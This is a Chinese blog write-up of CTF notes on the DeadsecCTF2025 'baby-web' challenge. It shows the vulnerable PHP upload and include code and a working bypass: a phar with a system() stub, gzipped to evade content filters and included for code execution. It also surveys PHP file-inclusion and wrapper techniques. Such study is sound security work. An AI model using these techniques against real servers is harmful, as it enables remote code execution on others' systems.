include文件包含及c底层调试

做题笔记:

DeadsecCTF2025 baby-web

ubuntu虚拟环境下安装中间件和php,这里我用的nginx和php8.3

在nginx的html目录下放两个php文件

update.php:

<?php session_start(); error_reporting(0); ​ $allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z']; $allowed_mime_types = [ 'application/zip', 'application/x-bzip2', 'application/gzip', 'application/x-gzip', 'application/x-xz', 'application/x-7z-compressed', ]; ​ ​ function filter($tempfile) { $data = file_get_contents($tempfile); if ( stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false || stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false ) { return true; } return false; } ​ if (!isset($_SESSION['dir'])) { $_SESSION['dir'] = random_bytes(4); } ​ $SANDBOX = getcwd() . "/uploads/" . md5("supersafesalt!!!!@#$" . $_SESSION['dir']); if (!file_exists($SANDBOX)) { mkdir($SANDBOX); } ​ if ($_SERVER["REQUEST_METHOD"] == 'POST') { if (is_uploaded_file($_FILES['file']['tmp_name'])) { if (filter($_FILES['file']['tmp_name']) || !isset($_FILES['file']['name'])) { die("Nope :<"); } ​ // mimetype check $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']); finfo_close($finfo); ​ if (!in_array($mime_type, $allowed_mime_types)) { die('Nope :<'); } ​ // ext check $ext = strtolower(pathinfo(basename($_FILES['file']['name']), PATHINFO_EXTENSION)); ​ if (!in_array($ext, $allowed_extensions)) { die('Nope :<'); } ​ if (move_uploaded_file($_FILES['file']['tmp_name'], "$SANDBOX/" . basename($_FILES['file']['name']))) { echo "File upload success!"; } } } ?> ​ <form enctype='multipart/form-data' action='upload.php' method='post'> <input type='file' name='file'> <input type="submit" value="upload"></p> </form>

index.php:

<?php session_start(); error_reporting(0); ​ if (!isset($_SESSION['dir'])) { $_SESSION['dir'] = random_bytes(4); } ​ if (!isset($_GET['url'])) { die("Nope :<"); } ​ $include_url = basename($_GET['url']); $SANDBOX = getcwd() . "/uploads/" . md5("supersafesalt!!!!@#$" . $_SESSION['dir']); ​ if (!file_exists($SANDBOX)) { mkdir($SANDBOX); } ​ if (!file_exists($SANDBOX . '/' . $include_url)) { die("Nope :<"); } ​ if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) { die("Nope :<"); } ​ @include($SANDBOX . '/' . $include_url); ?> 我们在这里的主要的限制是在update文件的白名单以及文件内容的过滤: //文件类型的白名单 $allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z']; $allowed_mime_types = [ 'application/zip', 'application/x-bzip2', 'application/gzip', 'application/x-gzip', 'application/x-xz', 'application/x-7z-compressed', ]; //文件内容的过滤 if ( stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false || stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false ) { return true;

此处杜绝了伪协议的使用

@include($SANDBOX . '/' . $include_url);

那么这题只有深入底层才能解出可能,当我们include一个文件的时候,会调用一个叫做 compile_filename 的方法:

zend_op_array compile_filename(int type, zend_string filename) { zend_file_handle file_handle; zend_op_array retval; zend_string opened_path = NULL; zend_stream_init_filename_ex(&file_handle, filename); retval = zend_compile_file(&file_handle, type); if (retval && file_handle.handle.stream.handle) { if (!file_handle.opened_path) { file_handle.opened_path = opened_path = zend_string_copy(filename); } zend_hash_add_empty_element(&EG(included_files), file_handle.opened_path); if (opened_path) { zend_string_release_ex(opened_path, 0); } } zend_destroy_file_handle(&file_handle); return retval; }

继续定位到phar对应的编译方法,需要看到 phar_compile_file :

可以看到当他判断到 strstr(ZSTR_VAL(file_handle filename), ".phar") ,也就是发现文件名 中 包 含 字 符 串 .phar , 会 调 用 phar_open_from_filename , 继 续 跟 phar_open_from_filename :

可以看到这里调用了一个叫 phar_open_from_fp 的东西,继续跟一下:

直接让ai解释一下: phar_open_from_fp() 是用于从一个 php_stream (即打开的文件流)中 解析并打开一个 Phar 文件(PHP Archive)的函数:

打开 phar 文件流 ↓ 尝试 rewind 到起始位置 ↓ 是否 gzip?→ 解压 → rewind 是否 bzip2?→ 解压 → rewind 是否 zip?→ phar_parse_zipfile 是否 tar?→ phar_parse_tarfile ↓ 扫描 HALT_COMPILER(); ↓ 找到了 → phar_parse_pharfile() 找不到 → 报错并退出

由此可得,我们解题整体思路应该是:

生成了一个phar文件,然后把他打包成gz文件,当include这个gz文件时,php会默认把这个gz文件解压回phar进行解析,比如我们用下面这个代码生成一个phar文件。

<?php $phar = new Phar('exploit.phar'); $phar -> startBuffering(); $stub = <<<'STUB' <?php system('whoami'); __HALT_COMPILER(); ?> STUB; $phar->setStub($stub); $phar->addFromString('test.txt', 'test'); $phar->stopBuffering(); ?>

在打包一下,可以看到关键字已经完全消失了:

关键字已经完全消失了,而且我们此时的后缀也已经是gz了,属于白名单中。

验证:

root@zou-VMware-Virtual-Platform:/usr/local/nginx/html# /root/php-src-php-8.3.23/sapi/cli/php -S 0.0.0.0:8899

结果显示root,说明我们的文件成功上传并进行了文件包含。

c底层的调试在vscode和pwndbg上进行:


文件包含漏洞(File Inclusion Vulnerability)

通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。

文件包含漏洞环境要求

  • allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据

  • allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

常见文件包含函数

php中常见的文件包含函数有以下四种:

  • include()

  • require()

  • include_once()

  • require()_once()

include与require基本是相同的,除了错误处理方面:

  • include(),只生成警告(E_WARNING),并且脚本会继续

  • require(),会生成致命错误(E_COMPILE_ERROR)并停止脚本

  • include_once()与require()_once(),如果文件已包含,则不会包含,其他特性如上

php伪协议总结

一.【file://协议】

PHP.ini:

file:// 协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

用法:file:// [文件的绝对路径和文件名]

示例:

file.php:

<?php include($_GET['file']); ?>

1.txt:

<?php phpinfo();

二.【php://协议】

条件:

不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

参考自:http://php.net/manual/zh/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-descriptioq

php://filter

读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

PHP.ini:

php://filter在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

示例:

“include 会执行 PHP 代码” 的前提是:它读到的内容必须是“看起来像 PHP 代码”的字节流。
一旦你用 php://filter/read=convert.base64-encode 把真正的 PHP 代码提前变成了“一串看不懂的 Base64 文字”,include 就只能老老实实把这串文字吐到页面上,根本不会去执行。

php://input

可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

PHP.ini:

allow_url_fopen :off/on

allow_url_include:on

三.【zip://, bzip2://, zlib://协议】

四.【DATA://与PHAR://】

包含APACHE日志文件

包含SESSION

包含/PROC/SELF/ENVIRON

包含临时文件

包含上传文件

总结:

1.底层调试环境pwndbg调试php8.2成功,vscode调试php8.1-dev后门成功。

2.利用phar及压缩文件绕过文件内容过滤和白名单实现成功。

3.利用docker容器环境还原后门,利用后门执行代码成功。

4.底层调试的环境和过程还需要进一步熟悉。

5.文件包含内容:日志文件包含成功,session文件包含成功。

6.临时文件包含pythone脚本需要进一步理解与运用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1179108.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

8大AI学术工具横向评测:写作与降重功能实测,助力高效论文产出

当前最实用的8款AI论文工具综合排名为&#xff1a;ChatGPT&#xff08;语言生成&#xff09;、Elicit&#xff08;文献综述&#xff09;、QuillBot&#xff08;文本润色&#xff09;、Semantic Scholar&#xff08;语义分析&#xff09;、DeepL&#xff08;跨语言处理&#xff…

一文吃透图像超分辨率:SRResNet核心原理与实战实现

文章目录 一、 引言:揭秘图像超分辨率的奥秘 二、 SRResNet算法原理:深度学习赋能图像超分辨率 1. 深度残差网络:突破传统网络的瓶颈 1.1 残差学习的核心思想 1.2 SRResNet中的深度残差模块 2. 子像素卷积:高效且可学习的上采样方案 2.1 子像素卷积的优势 2.2 子像素卷积的…

SpringMVC的处理流程

一张图搞懂 SpringMVC 完整请求流程&#xff1a;从浏览器到页面响应的全链路拆解作为 Java 后端开发者&#xff0c;SpringMVC 的请求处理流程是日常开发的核心逻辑&#xff0c;但很多时候我们只知其然不知其所以然。今天&#xff0c;我就通过这张经典的 SpringMVC 处理流程图&a…

从曲面到清晰文字:工业视觉如何实现酒瓶标签100%可读

文章目录 毕设突围:酒瓶标签曲面展平+文字识别全流程实战,从传统方法到AI落地 一、先搞懂“酒瓶标签处理”的业务价值 二、传统图像处理:先从“基础玩法”入手 1. 图像预处理:灰度化与二值化 2. 轮廓检测:定位标签的大致区域 三、深度学习进阶:用U-Net精准分割标签 1. 数…

Jenkins 流水线全流程实战笔记

Jenkins 流水线全流程实战笔记 核心架构思路 宿主机 (VPS)&#xff1a;只安装 Docker&#xff0c;作为底层基座。Jenkins 容器&#xff1a;作为“指挥官”。 特权&#xff1a;挂载 /var/run/docker.sock&#xff0c;使其拥有调用宿主机 Docker 的能力&#xff08;即 Docker-in-…

可直接商用的疲劳驾驶检测系统:基于 YOLOv10 的完整实战(源码 + UI 全开)

文章目录 基于YOLOv10的疲劳驾驶检测系统实战教程:UI界面+模型训练+实时部署,让你的项目从“Demo”到“产品” 一、为什么选YOLOv10做疲劳驾驶检测? 二、系统架构与技术拆解 (一)系统核心流程 (二)技术选型逻辑 三、实战:从数据到系统的全流程构建 步骤1:数据集准备与…

WPF资源系统

文件资源 程序集资源 例如一些图片、音频、字体等,将这些文件导入到项目中,就可以在代码中使用这些资源 图片资源将资源复制到项目中。右键设计文件属性的生成操作为资源在xaml中使用图片资源<Window x:Class=&qu…

RK3588端实时人体姿态识别方案:YOLOv11-Pose高精度落地,推理速度直接拉满

【YOLOv11-pose姿态识别部署至RK3588:模型训练到RKNN落地,让人体姿态分析精度与边缘推理速度双突破】 在人体姿态识别场景中,传统模型在复杂动作下的关键点漏检率高达20%以上,而基于YOLOv11-pose的改进方案可将关键点平均精度(mAP)提升至91.3%;通过RK3588边缘平台与RKNN…

union 和 union all的区别

1、union和union all UNION对两个结果集进行并集操作&#xff0c;不包括重复行&#xff0c;相当于使用distinct关键字。而UNION ALL则对两个结果集进行并集操作&#xff0c;包括重复行&#xff0c;即所有结果全部显示&#xff0c;不管是否重复。 UNION操作会去除重复的记录&…

Flutter 3.22+ 高性能开发实战:从状态管理到原生交互全解析 - 指南

Flutter 3.22+ 高性能开发实战:从状态管理到原生交互全解析 - 指南2026-01-18 18:25 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !…

【大数据毕设选题推荐】基于Hadoop+Spark的起点小说网数据可视化分析系统源码 毕业设计 选题推荐 毕设选题 数据分析 机器学习

✍✍计算机毕设指导师** ⭐⭐个人介绍&#xff1a;自己非常喜欢研究技术问题&#xff01;专业做Java、Python、小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。 ⛽⛽实战项目&#xff1a;有源码或者技术上的问题欢迎在评论区一起讨论交流&#xff01; ⚡⚡有什么问题可以…

8B小模型后训练实战:企业私域语义空间稳定性与通用能力平衡指南

本文探讨8B小模型通过后训练在企业私域语义空间中的应用价值。实验表明&#xff0c;经过SFTDPO训练的模型能在不依赖system prompt/RAG的情况下稳定进入私域语义空间&#xff0c;同时保持通用知识与CoT能力。文章分享了三条实践经验&#xff1a;警惕"脑损伤"SFT、训练…

2026首发版,自学AI大模型的正确顺序:最新最全学习路线

本文提供大模型学习的七个阶段完整路线图&#xff1a;从数学编程基础、机器学习、深度学习到自然语言处理、大规模语言模型(如Transformer、BERT、GPT)及其应用&#xff0c;最后为持续学习进阶。每个阶段都配有推荐书籍、课程和论文资源&#xff0c;并提供学习资料包帮助零基础…

【计算机毕设推荐】:Hadoop+Django气象地质灾害大数据可视化系统 毕业设计 选题推荐 毕设选题 数据分析 机器学习

✍✍计算机毕设指导师** ⭐⭐个人介绍&#xff1a;自己非常喜欢研究技术问题&#xff01;专业做Java、Python、小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。 ⛽⛽实战项目&#xff1a;有源码或者技术上的问题欢迎在评论区一起讨论交流&#xff01; ⚡⚡有什么问题可以…

基于Qlearning强化学习的水下无人航行器三维场景路径规划与避障系统matlab性能仿真

1.引言 水下无人航行器(Unmanned Underwater Vehicle, UUV)的三维路径规划与避障是海洋工程领域的核心问题,其目标是在复杂水下环境(含礁石、沉船等静态障碍物及洋流等动态干扰)中,自主生成一条从起点到目标点的…

大模型选择困难症?8款主流AI助手(GPT/Claude/GLM等)特点与适用场景详解,建议收藏

文章对比8种主流大语言模型(GPT、Claude、Gemini、GLM、Minimax、DeepSeek、Qwen和Kimi)的特点和适用场景。GPT系列全能型&#xff1b;Claude擅长写作&#xff1b;Gemini擅长资料整合&#xff1b;GLM中文自然&#xff1b;Minimax创意丰富&#xff1b;DeepSeek代码逻辑强&#x…

linux 设置 udp 缓冲区大小的方法有多少种

1.linux 设置 udp 缓冲区大小的方法有多少种 在 Linux 系统中&#xff0c;设置 UDP 缓冲区大小的方法主要有以下几种&#xff0c;分别适用于不同的场景和粒度&#xff08;系统级、进程级、套接字级&#xff09;&#xff1a; 1. 通过 setsockopt() 系统调用&#xff08;套接字级…

程序员转型AI产品经理完整指南:大模型时代必备技能与学习路径

文章详细分析了转型AI产品经理的必要性与路径。首先指出AI快速发展使传统产品经理面临挑战&#xff0c;转型是必然趋势。然后介绍了AI产品经理的四大分类&#xff1a;C端、B端、硬件型和技术型&#xff0c;并分析了各自的特点和要求。最后提供了转型方法&#xff1a;确定适合方…

爱心公益 PPT 一键生成平台 TOP6,无需设计基础也能做

6款好用工具推荐&#xff0c;新手也能搞定爱心公益PPT一键生成 作为经常帮公益组织和校园社团做PPT的过来人&#xff0c;我太懂新手做爱心公益PPT的痛点了&#xff1a;找模板耗半天、排版没思路、素材怕侵权&#xff0c;最后熬夜做出来的效果还不尽如人意。其实现在有很多实用工…

关于SSD1315/SSD1306的0xDA指令

最近在玩一块使用ssd1315驱动的屏幕,发现0xDA指令(Set COM Pins Hardware Configuration)的实际效果和数据手册有些出入,经过查看显示屏的手册和反复实验,发现了一些细节问题。把自己的总结分享出来。因为ssd1306…